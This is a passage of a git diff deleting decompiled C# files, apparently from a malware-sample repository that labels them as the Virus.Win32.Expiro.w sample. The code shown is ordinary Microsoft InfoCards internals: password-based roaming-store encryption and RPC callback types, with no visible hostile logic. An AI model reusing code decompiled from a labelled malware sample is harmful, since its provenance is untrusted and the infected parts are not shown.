125, - (byte) 4, - (byte) 104, - (byte) 3, - (byte) 219 - }; - private static readonly byte[] DerivedKeyEncryptionEntropy = new byte[16] - { - (byte) 217, - (byte) 89, - (byte) 123, - (byte) 38, - (byte) 30, - (byte) 216, - (byte) 179, - (byte) 68, - (byte) 147, - (byte) 35, - (byte) 179, - (byte) 150, - (byte) 133, - (byte) 222, - (byte) 149, - (byte) 252 - }; - - public static int SaltLength => 16; - - private RoamingStoreFileUtility() - { - } - - public static int CalculateEncryptedSize(int decryptedLength) - { - int num = decryptedLength; - return num + (16 - num % 16) + 48; - } - - public static int CalculateDecryptedSize(int encryptedLength) => encryptedLength - 48; - - public static void Decrypt( - Stream source, - Stream destination, - string passwordString, - byte[] salt) - { - byte[] bytes = Encoding.Unicode.GetBytes(passwordString); - byte[] encryptionKey; - byte[] signatureKey; - try - { - RoamingStoreFileUtility.CreateKeyPair(bytes, salt, out encryptionKey, out signatureKey); - } - finally - { - Array.Clear((Array) bytes, 0, bytes.Length); - } - try - { - byte[] numArray1 = new byte[16]; - if (numArray1.Length != source.Read(numArray1, 0, numArray1.Length)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) - { - rijndaelManaged.Padding = PaddingMode.PKCS7; - rijndaelManaged.Mode = CipherMode.CBC; - rijndaelManaged.BlockSize = numArray1.Length * 8; - rijndaelManaged.KeySize = encryptionKey.Length * 8; - using (RijndaelManagedTransform decryptor = (RijndaelManagedTransform) rijndaelManaged.CreateDecryptor(encryptionKey, numArray1)) - { - using (SHA256Managed shA256Managed = new SHA256Managed()) - { - byte[] numArray2 = new byte[decryptor.InputBlockSize]; - byte[] numArray3 = new byte[decryptor.OutputBlockSize]; - byte[] numArray4 = new byte[shA256Managed.HashSize / 8]; - using (MemoryStream inputStream = new MemoryStream(new byte[numArray1.Length + encryptionKey.Length + decryptor.OutputBlockSize])) - { - if (numArray4.Length != source.Read(numArray4, 0, numArray4.Length)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - inputStream.Write(numArray1, 0, numArray1.Length); - inputStream.Write(signatureKey, 0, signatureKey.Length); - while (source.Position < source.Length - (long) numArray2.Length) - { - try - { - int inputCount = source.Read(numArray2, 0, numArray2.Length); - int count = decryptor.TransformBlock(numArray2, 0, inputCount, numArray3, 0); - if (count > 0) - destination.Write(numArray3, 0, count); - } - finally - { - Array.Clear((Array) numArray3, 0, numArray3.Length); - Array.Clear((Array) numArray2, 0, numArray2.Length); - } - } - int inputCount1 = source.Read(numArray2, 0, numArray2.Length); - byte[] buffer = decryptor.TransformFinalBlock(numArray2, 0, inputCount1); - destination.Write(buffer, 0, buffer.Length); - inputStream.Write(buffer, buffer.Length - decryptor.OutputBlockSize, decryptor.OutputBlockSize); - inputStream.Flush(); - inputStream.Seek(0L, SeekOrigin.Begin); - if (!RoamingStoreFileUtility.CompareSignature(shA256Managed.ComputeHash((Stream) inputStream), numArray4)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - } - } - } - } - } - finally - { - Array.Clear((Array) encryptionKey, 0, encryptionKey.Length); - Array.Clear((Array) signatureKey, 0, signatureKey.Length); - } - } - - public static void Encrypt( - Stream source, - Stream destination, - string passwordString, - out byte[] salt) - { - RandomNumberGenerator randomNumberGenerator = (RandomNumberGenerator) new RNGCryptoServiceProvider(); - salt = new byte[16]; - randomNumberGenerator.GetBytes(salt); - byte[] bytes = Encoding.Unicode.GetBytes(passwordString); - byte[] encryptionKey; - byte[] signatureKey; - try - { - RoamingStoreFileUtility.CreateKeyPair(bytes, salt, out encryptionKey, out signatureKey); - } - finally - { - Array.Clear((Array) bytes, 0, bytes.Length); - } - try - { - byte[] numArray1 = new byte[16]; - randomNumberGenerator.GetBytes(numArray1); - using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) - { - rijndaelManaged.Padding = PaddingMode.PKCS7; - rijndaelManaged.Mode = CipherMode.CBC; - rijndaelManaged.BlockSize = numArray1.Length * 8; - rijndaelManaged.KeySize = encryptionKey.Length * 8; - using (RijndaelManagedTransform encryptor = (RijndaelManagedTransform) rijndaelManaged.CreateEncryptor(encryptionKey, numArray1)) - { - using (SHA256Managed shA256Managed = new SHA256Managed()) - { - byte[] numArray2 = new byte[encryptor.InputBlockSize]; - byte[] buffer1 = (byte[]) null; - byte[] numArray3 = new byte[encryptor.OutputBlockSize]; - byte[] numArray4 = new byte[numArray1.Length + shA256Managed.HashSize / 8]; - using (MemoryStream inputStream = new MemoryStream(new byte[numArray1.Length + signatureKey.Length + encryptor.InputBlockSize])) - { - inputStream.Write(numArray1, 0, numArray1.Length); - inputStream.Write(signatureKey, 0, signatureKey.Length); - try - { - destination.Write(numArray4, 0, numArray4.Length); - int num = 0; - while (source.Position < source.Length - (long) numArray2.Length) - { - num = source.Read(numArray2, 0, numArray2.Length); - try - { - int count = encryptor.TransformBlock(numArray2, 0, numArray2.Length, numArray3, 0); - destination.Write(numArray3, 0, count); - } - finally - { - Array.Clear((Array) numArray2, 0, numArray2.Length); - Array.Clear((Array) numArray3, 0, numArray3.Length); - } - } - int inputCount = source.Read(numArray2, 0, numArray2.Length); - if (inputCount != numArray2.Length) - { - byte[] buffer2 = new byte[numArray2.Length]; - source.Seek(source.Length - (long) numArray2.Length, SeekOrigin.Begin); - InfoCardTrace.Assert(source.Read(buffer2, 0, buffer2.Length) == buffer2.Length && buffer2.Length == numArray2.Length, "Should have read exactly 0x20 bytes"); - inputStream.Write(buffer2, 0, buffer2.Length); - } - else - inputStream.Write(numArray2, 0, numArray2.Length); - buffer1 = encryptor.TransformFinalBlock(numArray2, 0, inputCount); - destination.Write(buffer1, 0, buffer1.Length); - destination.Flush(); - inputStream.Flush(); - inputStream.Seek(0L, SeekOrigin.Begin); - byte[] hash = shA256Managed.ComputeHash((Stream) inputStream); - Array.Copy((Array) numArray1, 0, (Array) numArray4, 0, numArray1.Length); - Array.Copy((Array) hash, 0, (Array) numArray4, numArray1.Length, hash.Length); - destination.Seek(0L, SeekOrigin.Begin); - destination.Write(numArray4, 0, numArray4.Length); - destination.Flush(); - destination.Seek(0L, SeekOrigin.End); - } - finally - { - Array.Clear((Array) numArray2, 0, numArray2.Length); - Array.Clear((Array) numArray3, 0, numArray3.Length); - Array.Clear((Array) numArray4, 0, numArray4.Length); - if (buffer1 != null) - Array.Clear((Array) buffer1, 0, buffer1.Length); - } - } - } - } - } - } - finally - { - Array.Clear((Array) encryptionKey, 0, encryptionKey.Length); - Array.Clear((Array) signatureKey, 0, signatureKey.Length); - } - } - - private static void CreateKeyPair( - byte[] password, - byte[] salt, - out byte[] encryptionKey, - out byte[] signatureKey) - { - byte[] sourceArray = RoamingStoreFileUtility.DoPkcs5(password, salt); - using (SHA256Managed shA256Managed = new SHA256Managed()) - { - byte[] numArray1 = new byte[32 + RoamingStoreFileUtility.DerivedKeyEncryptionEntropy.Length]; - byte[] numArray2 = new byte[32 + RoamingStoreFileUtility.DerivedKeySignatureEntropy.Length]; - Array.Copy((Array) RoamingStoreFileUtility.DerivedKeyEncryptionEntropy, 0, (Array) numArray1, 0, RoamingStoreFileUtility.DerivedKeyEncryptionEntropy.Length); - Array.Copy((Array) RoamingStoreFileUtility.DerivedKeySignatureEntropy, 0, (Array) numArray2, 0, RoamingStoreFileUtility.DerivedKeySignatureEntropy.Length); - Array.Copy((Array) sourceArray, 0, (Array) numArray1, RoamingStoreFileUtility.DerivedKeyEncryptionEntropy.Length, 32); - Array.Copy((Array) sourceArray, 0, (Array) numArray2, RoamingStoreFileUtility.DerivedKeySignatureEntropy.Length, 32); - encryptionKey = shA256Managed.ComputeHash(numArray1); - signatureKey = shA256Managed.ComputeHash(numArray2); - } - } - - private static byte[] DoPkcs5(byte[] password, byte[] salt) => new PasswordDeriveBytes(password, salt, "SHA256", 1000).GetBytes(32); - - internal static bool CompareSignature(byte[] input, byte[] expected) - { - if (input.Length == 0 || input.Length != expected.Length) - return false; - for (int index = 0; index < input.Length; ++index) - { - if ((int) expected[index] != (int) input[index]) - return false; - } - return true; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcAllocMemCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcAllocMemCallback.cs deleted file mode 100644 index faa09b70..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcAllocMemCallback.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcAllocMemCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate IntPtr RpcAllocMemCallback([In] IntPtr size); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcAsyncResult.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcAsyncResult.cs deleted file mode 100644 index 6d63aa00..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcAsyncResult.cs +++ /dev/null @@ -1,167 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcAsyncResult -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32.SafeHandles; -using System; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal class RpcAsyncResult : IAsyncResult, IDisposable - { - private static RpcAsyncResult.RpcAsyncHandleDictionary s_handles = new RpcAsyncResult.RpcAsyncHandleDictionary(); - private static object s_syncRoot = new object(); - private ClientRequest m_request; - private ManualResetEvent m_externEvent; - private bool m_isCompleted; - private bool m_isCanceled; - private bool m_isResultPickedUp; - private bool m_isDisposed; - private object m_result; - private string m_opType; - private ManualResetEvent m_event; - private int m_handle; - private object m_syncRoot; - private Exception m_exception; - private RpcAsyncResult.AsyncCancelCallback m_cancelCallback; - - public RpcAsyncResult(ClientRequest request, string opType, SafeWaitHandle externEvent) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == request, nameof (request)); - this.m_syncRoot = new object(); - this.m_request = request; - this.m_opType = opType; - if (externEvent != null) - { - this.m_externEvent = new ManualResetEvent(false); - this.m_externEvent.SafeWaitHandle = externEvent; - } - this.m_event = new ManualResetEvent(false); - lock (RpcAsyncResult.s_syncRoot) - { - int newHandle; - try - { - newHandle = RpcAsyncResult.s_handles.GetNewHandle(); - } - catch (IndexOutOfRangeException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("ServiceTooManyAsyncOperations", (object) RpcAsyncResult.s_handles.MaxSize), (Exception) ex)); - } - this.m_handle = newHandle; - RpcAsyncResult.s_handles[this.m_handle] = this; - } - this.m_request.AddAsyncOp(this); - } - - public RpcAsyncResult.AsyncCancelCallback CancelCallback - { - get => this.m_cancelCallback; - set => this.m_cancelCallback = value; - } - - public WaitHandle AsyncWaitHandle => (WaitHandle) this.m_event; - - public bool CompletedSynchronously => false; - - public object AsyncState => (object) null; - - public object Result - { - get => this.m_result; - set => this.m_result = value; - } - - public bool IsCompleted => this.m_isCompleted; - - public bool IsCanceled => this.m_isCanceled; - - public int Handle => this.m_handle; - - public Exception Exception - { - get => this.m_exception; - set => this.m_exception = value; - } - - public void Complete() - { - lock (this.m_syncRoot) - { - if (this.m_isCompleted) - return; - this.m_isCompleted = true; - if (!this.m_isCanceled) - this.AlertWaiters(); - this.MaybeDispose(); - } - } - - public void Cancel() - { - lock (this.m_syncRoot) - this.InternalCancel(); - } - - private void InternalCancel() - { - if (this.m_isCanceled || this.m_isCompleted) - return; - if (this.CancelCallback != null) - this.CancelCallback(); - this.m_isCanceled = true; - this.AlertWaiters(); - } - - private void AlertWaiters() - { - this.m_event.Set(); - if (this.m_externEvent == null) - return; - this.m_externEvent.Set(); - } - - private void MaybeDispose() - { - if (!this.m_isCompleted || !this.m_isResultPickedUp) - return; - this.DisposeInternal(); - } - - public void Dispose() - { - if (this.m_isResultPickedUp) - return; - lock (this.m_syncRoot) - { - this.InternalCancel(); - this.m_isResultPickedUp = true; - this.MaybeDispose(); - } - } - - private void DisposeInternal() - { - if (this.m_isDisposed) - return; - this.m_isDisposed = true; - this.m_request.RemoveAsyncOp(this.Handle); - this.m_request = (ClientRequest) null; - if (this.m_externEvent != null) - this.m_externEvent.Close(); - this.m_event.Close(); - lock (RpcAsyncResult.s_syncRoot) - RpcAsyncResult.s_handles.Remove(this.Handle); - } - - public delegate void AsyncCancelCallback(); - - private class RpcAsyncHandleDictionary : HandleDictionary - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcAuthorizeCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcAuthorizeCallback.cs deleted file mode 100644 index 31719ede..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcAuthorizeCallback.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcAuthorizeCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate uint RpcAuthorizeCallback([In] IntPtr rpcIfHandle, [In] IntPtr Context); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcCallbacks.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcCallbacks.cs deleted file mode 100644 index 1135f5ec..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcCallbacks.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcCallbacks -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal struct RpcCallbacks - { - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcAuthorizeCallback uiAgentRequestAuthorize; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcUIAgentBindToServiceCallback uiAgentRequestBindToService; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcAuthorizeCallback clientRequestAuthorize; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcClientBindToServiceCallback clientRequestBindToService; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcProcessNewRequestCallback requestFactoryProcessNewRequest; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcAllocMemCallback allocMem; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcFreeMemCallback freeMem; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcRundownClientContextHandle rundownClientContext; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcClientBindToServiceCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcClientBindToServiceCallback.cs deleted file mode 100644 index 4d0b153e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcClientBindToServiceCallback.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcClientBindToServiceCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate int RpcClientBindToServiceCallback([In] IntPtr rpcHandle, out IntPtr context); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcCryptoContext.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcCryptoContext.cs deleted file mode 100644 index 0b2a1d0b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcCryptoContext.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcCryptoContext -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; - -namespace Microsoft.InfoCards -{ - internal class RpcCryptoContext : IDisposable - { - private string m_portName; - private string m_contextKey; - private IntPtr m_idlHandle; - private object m_syncRoot; - private bool m_open; - private bool m_disposed; - - public RpcCryptoContext(string portName, string contextKey) - { - this.m_portName = portName; - this.m_contextKey = contextKey; - this.m_syncRoot = new object(); - this.m_disposed = false; - } - - ~RpcCryptoContext() - { - if (this.m_disposed) - return; - ((IDisposable) this).Dispose(); - } - - public string ContextKey => this.m_contextKey; - - public IntPtr InterfaceHandle => this.m_idlHandle; - - public bool IsOpen => this.m_open; - - public void Open() - { - this.ThrowIfDisposed(); - if (this.m_open) - return; - try - { - this.m_idlHandle = NativeMcppMethods.RpcCryptoOpen(this.m_portName); - } - catch (Win32Exception ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException((string) null, (Exception) ex)); - } - this.m_open = true; - } - - public void Close() - { - if (!this.m_open) - return; - try - { - NativeMcppMethods.RpcCryptoClose(this.m_idlHandle, this.m_contextKey); - } - catch (Win32Exception ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException((string) null, (Exception) ex)); - } - this.m_idlHandle = IntPtr.Zero; - this.m_open = false; - } - - void IDisposable.Dispose() - { - if (this.m_disposed) - return; - lock (this.m_syncRoot) - { - if (this.m_disposed) - return; - this.m_disposed = true; - try - { - this.Close(); - } - catch (CommunicationException ex) - { - string message = ex.Message; - } - this.m_portName = (string) null; - this.m_contextKey = (string) null; - this.m_idlHandle = IntPtr.Zero; - GC.SuppressFinalize((object) this); - } - } - - private void ThrowIfDisposed() - { - if (this.m_disposed) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (RpcCryptoContext))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcCryptoRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcCryptoRequest.cs deleted file mode 100644 index f144dd0c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcCryptoRequest.cs +++ /dev/null @@ -1,45 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcCryptoRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal abstract class RpcCryptoRequest - { - private RpcCryptoContext m_context; - - protected RpcCryptoRequest(RpcCryptoContext context) => this.m_context = context; - - public abstract string Name { get; } - - public void Process() - { - MemoryStream memoryStream = new MemoryStream(); - this.MarshalOutArgs((Stream) memoryStream); - byte[] buffer1 = memoryStream.GetBuffer(); - byte[] buffer2; - try - { - buffer2 = NativeMcppMethods.RpcCryptoDispatchRequest(this.m_context.InterfaceHandle, this.m_context.ContextKey, this.Name, buffer1, 0, Convert.ToInt32(memoryStream.Length)); - } - catch (Win32Exception ex) - { - if (ex.NativeErrorCode == -2146434962) - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException((string) null, (Exception) ex)); - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException((string) null, (Exception) ex)); - } - this.MarshalReturnArgs((Stream) new MemoryStream(buffer2)); - } - - protected abstract void MarshalOutArgs(Stream stream); - - protected abstract void MarshalReturnArgs(Stream stream); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcFreeMemCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcFreeMemCallback.cs deleted file mode 100644 index e6311022..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcFreeMemCallback.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcFreeMemCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate void RpcFreeMemCallback([In] IntPtr ptr); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcProcessNewRequestCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcProcessNewRequestCallback.cs deleted file mode 100644 index f3b47a1c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcProcessNewRequestCallback.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcProcessNewRequestCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate int RpcProcessNewRequestCallback( - [In] int parentRequestHandle, - [In] IntPtr rpcHandle, - [In] IntPtr inArgs, - out IntPtr outArgs); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcRequest.cs deleted file mode 100644 index 690db19e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcRequest.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal struct RpcRequest - { - [MarshalAs(UnmanagedType.LPWStr)] - public string Type; - public int Length; - public IntPtr Data; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcResponse.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcResponse.cs deleted file mode 100644 index 59942767..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcResponse.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcResponse -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; - -namespace Microsoft.InfoCards -{ - internal struct RpcResponse - { - public int Length; - public IntPtr Data; - - public IntPtr Marshal() => RpcResponse.Create(this.Data, this.Length); - - public static IntPtr Create(IntPtr data, int length) - { - RpcResponse structure = new RpcResponse(); - IntPtr num = System.Runtime.InteropServices.Marshal.AllocHGlobal(System.Runtime.InteropServices.Marshal.SizeOf(typeof (RpcResponse))); - try - { - structure.Length = length; - structure.Data = data; - System.Runtime.InteropServices.Marshal.StructureToPtr((object) structure, num, false); - return num; - } - catch - { - System.Runtime.InteropServices.Marshal.FreeHGlobal(num); - throw; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcRundownClientContextHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcRundownClientContextHandle.cs deleted file mode 100644 